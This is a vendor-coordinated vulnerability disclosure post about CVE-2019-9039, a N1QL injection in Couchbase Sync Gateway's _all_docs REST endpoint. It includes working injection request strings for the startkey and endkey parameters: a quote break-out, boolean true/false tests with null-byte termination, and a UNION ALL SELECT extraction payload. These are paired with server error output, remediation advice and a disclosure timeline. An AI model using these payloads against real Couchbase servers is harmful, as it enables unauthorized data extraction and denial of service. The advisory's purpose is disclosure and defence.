N1QL Injection in Couchbase Sync Gateway – CVE-2019-9039

Within the scope of a recent penetration test, HiSolutions security consultants encountered a Couchbase Sync Gateway and discovered a previously unknown, high-impact injection vulnerability (CVE-2019-9039).

Background Information

The Couchbase Sync Gateway is a product developed by Couchbase Inc. as part of their mobile product portfolio. It is used to connect web, mobile, and IoT apps (Couchbase Lite) to the backend database (Couchbase Server). The publically accessible Sync Gateway synchronizes the data with the internal backend database servers and employs various security and integration features.

Couchbase uses a database query language called N1QL (https://www.couchbase.com/products/n1ql ) (pronounced “nickel”). N1QL extends SQL for JSON. It combines the syntax of traditional SQL with the benefits and flexibility of NoSQL databases.

From a security standpoint, N1QL is comparatively unexplored. SQL injections are a well-known and broadly explored security risk for traditional SQL databases. With increased use of NoSQL databases, NoSQL injection has become a more widely known topic as well. For both vulnerabilities, numerous tools, articles and presentations exist that detail every aspect of exploitation.

N1QL Injections

A 2015 blog post (https://blog.couchbase.com/couchbase-and-n1ql-security-centeredgesoftware/) discusses various aspects of N1QL injections. N1QL is claimed to be more resistant to injection attacks than traditional SQL. This is due to the following syntactic differences:

  • Query stacking is not possible in N1QL. That is, terminating a previous query with a semicolon and appending another query will result in an invalid syntax error in N1QL.
  • N1QL does not allow commenting out just the remainder of a line. N1QL only allows C-style comment blocks (/* comment */). This prevents an attacker from terminating a query by inserting “/*” or “–“ at the injection point.

The blog post also mentions generic advice for preventing injections. Apart from that, information regarding N1QL injections is very sparse.

The vulnerability

HiSolutions consultants discovered that the Couchbase Sync Gateway in combination with a Couchbase Server is affected by a previously undisclosed N1QL-injection vulnerability in the REST API. An attacker with access to the public REST API can insert additional N1QL statements through the parameters “startkey” and “endkey” of the “_all_docs” endpoint.

The following request triggers an error:

https://host:port/{db}/_all_docs?startkey=1%271&endkey=

The client will receive the following error statement indicating a N1QL error:

{"rows":[
{"error":"Internal Server Error","reason":"Internal error: [3000] syntax error - at 1"}

On a server with the standard installation of Couchbase Server and Couchbase Sync Gateway, the following error will appear in the logfile:

2019-02-15T14:00:51.892+01:00 [WRN] Error when querying index using
statement: [SELECT META(`test-getting-started`).id as id,
meta(`test-getting-started`).xattrs._sync.rev as r,
meta(`test-getting-started`).xattrs._sync.sequence as s,
meta(`test-getting-started`).xattrs._sync.channels as c FROM
`test-getting-started` WHERE meta(`test-getting-started`).xattrs._sync.sequence
> 0 AND META(`test-getting-started`).id NOT LIKE '\\_sync:%' AND
meta(`test-getting-started`).xattrs._sync IS NOT MISSING AND
(meta(`test-getting-started`).xattrs._sync.flags IS MISSING OR
BITTEST(meta(`test-getting-started`).xattrs._sync.flags,1) = false) AND
META(`test-getting-started`).id >= '1'1' ORDER BY META(`test-getting-started`).id] --
base.(*CouchbaseBucketGoCB).Query() at bucket_n1ql.go:63

The error (injection point at ‚1‘1′ near the bottom) shows that it is possible to break out of the original query and insert additional N1QL code. An additional character after the apostrophe seems to be required to trigger the error.

Furthermore, it is possible to end the current query and thereby skip the rest of the original query by inserting a null byte at the end of the manipulated parameter value.

The insertion of an additional comparison can be used to validate the injection. When inserting an additional requirement that is always true (“AND 1=1”), the original results are returned:

/{db}/_all_docs?startkey=123%27%20AND%201%3d1%00&endkey=

Inserting a statement that always evaluates to false (“AND 1=0”) yields no results:

/{db}/_all_docs?startkey=123%27%20AND%201%3d0%00&endkey=

The following request can be used to extract additional information from a default installation:

/{db}/_all_docs?startkey=123%27%20UNION%20ALL%20SELECT
%20TOSTRING(BASE64_DECODE("U1FMLUl
uamVjdGlvbg=="))%20as%20id%3b%00&endkey=

The inserted N1QL statement “UNION ALL SELECT TOSTRING(BASE64_DECODE(„U1FMLUluamVjdGlvbg==“)) as id” adds the following line to the output and shows that N1QL functions and queries are evaluated:

{"rows":[
{"key":"SQL-Injection","id":"SQL-Injection","value":{"rev":""}}
...

The same injection works for the parameter “endkey”.

Additional modification of the query seems to be required to make UNION-injections work when channels and users are set up for the database. Data extraction methods that rely on comparisons will work as shown.

Impact:

An attacker with access to the public REST API is able to issue additional N1QL statements and extract sensitive data or call arbitrary N1QL functions. By issuing nested queries with CPU-intensive operations, he might be able to cause increased resource usage and denial of service conditions.

Remediation:

Traditional remediations for SQL injection vulnerabilities also apply to N1QL. Features like parameterized N1QL queries should be used to prevent the injection of N1QL statements into the original query.

As the vulnerability exists in the default Couchbase Sync Gateway, an update will fix the problem. HiSolutions has responsibly reported the issue to the vendor. The fix is available in Sync Gateway v2.5 as well as in v2.1.3.

Short-term remediation can be implemented by blocking all requests containing “startkey” or “endkey” on the web-interface.

Responsible Disclosure Timeline

15.02.2019 – HiSolution initially notifies security@couchbase.com with vulnerability details and the internal responsible disclosure guideline.

20.02.2019 – Couchbase acknowledges the vulnerability and states that an engineering team is working on the issue. Couchbase offers to help with the CVE request to MITRE.

23.02.2019 – HiSolutions inquires whether the engineering team was able to reproduce the issue and requests an ETA for a patch. HiSolutions notifies Couchbase that a CVE number was requested.

23.02.2019 – MITRE assigns CVE-2019-9039 for the vulnerability.

26.02.2019 – Couchbase sends an email to HiSolutions with their assessment of the CVSS (https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L). Couchbase states in this email that a patch is under development and that they will follow up with an ETA. Couchbase requests the CVE number.

26.02.2019 – HiSolutions sends the CVE number to Couchbase and questions the assessed CVSS. User interaction should be “none” from HiSolutions perspective (CVSS v3 Vector: AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:L).

26.02.2019 – Couchbase explains their assessment of the CVSS and states that they will follow up an ETA for the patch.

25.03.2019 – HiSolutions inquires  if an ETA is available and explains the assessment of the User Interaction CVSS vector.

12.04.2019 – HiSolutions inquires if the last email was received successfully. HiSolutions reminds Couchbase that the issue is scheduled for disclosure on 21.05.2019 and request to be notified if more time is needed by Couchbase.

15.04.2019 – Couchbase apologizes for the delayed response. The patch for the Sync Gateway is expected at the end of April. Couchbase agrees to a public disclosure on 21.05.2019. Couchbase informs HiSolutions that they will list the issue on a changed website under https://www.couchbase.com/resources/security within a table containing all vulnerabilities, fix release dates, versions, and affected products.

14.05.2019 – HiSolutions notices that the patch is applied in the latest public version. HiSolutions sends an inquiry regarding the vulnerability table on the website and if 21.05.2019 is still good for the disclosure.

21.05.2019 – HiSolutions postpones the disclosure because no answer was received.

11.06.2019 – HiSolutions inquires regarding the table on the website and a new disclosure date. A delivery failure for the contact address of the initial contact within the security team is received. The email is resent to the security team with the request for an answer by another team member.

12.06.2019 – Couchbase replies that the fix is included in Sync Gateway v2.5 as well as in v2.1.3. The release notes for both products will be updated in the following days to include a reference to the vulnerability. Couchbase is actively working on the vulnerability table. While unclear if the table will be finished until 21.06.2019, HiSolutions can disclose the issue on 21.06.2019 if Couchbase has updated the release release notes until then.

Further references

https://docs.couchbase.com/dotnet-sdk/2.2/prepared-statements.html https://docs.couchbase.com/java-sdk/2.7/n1ql-query.html#devguide-named-placeholders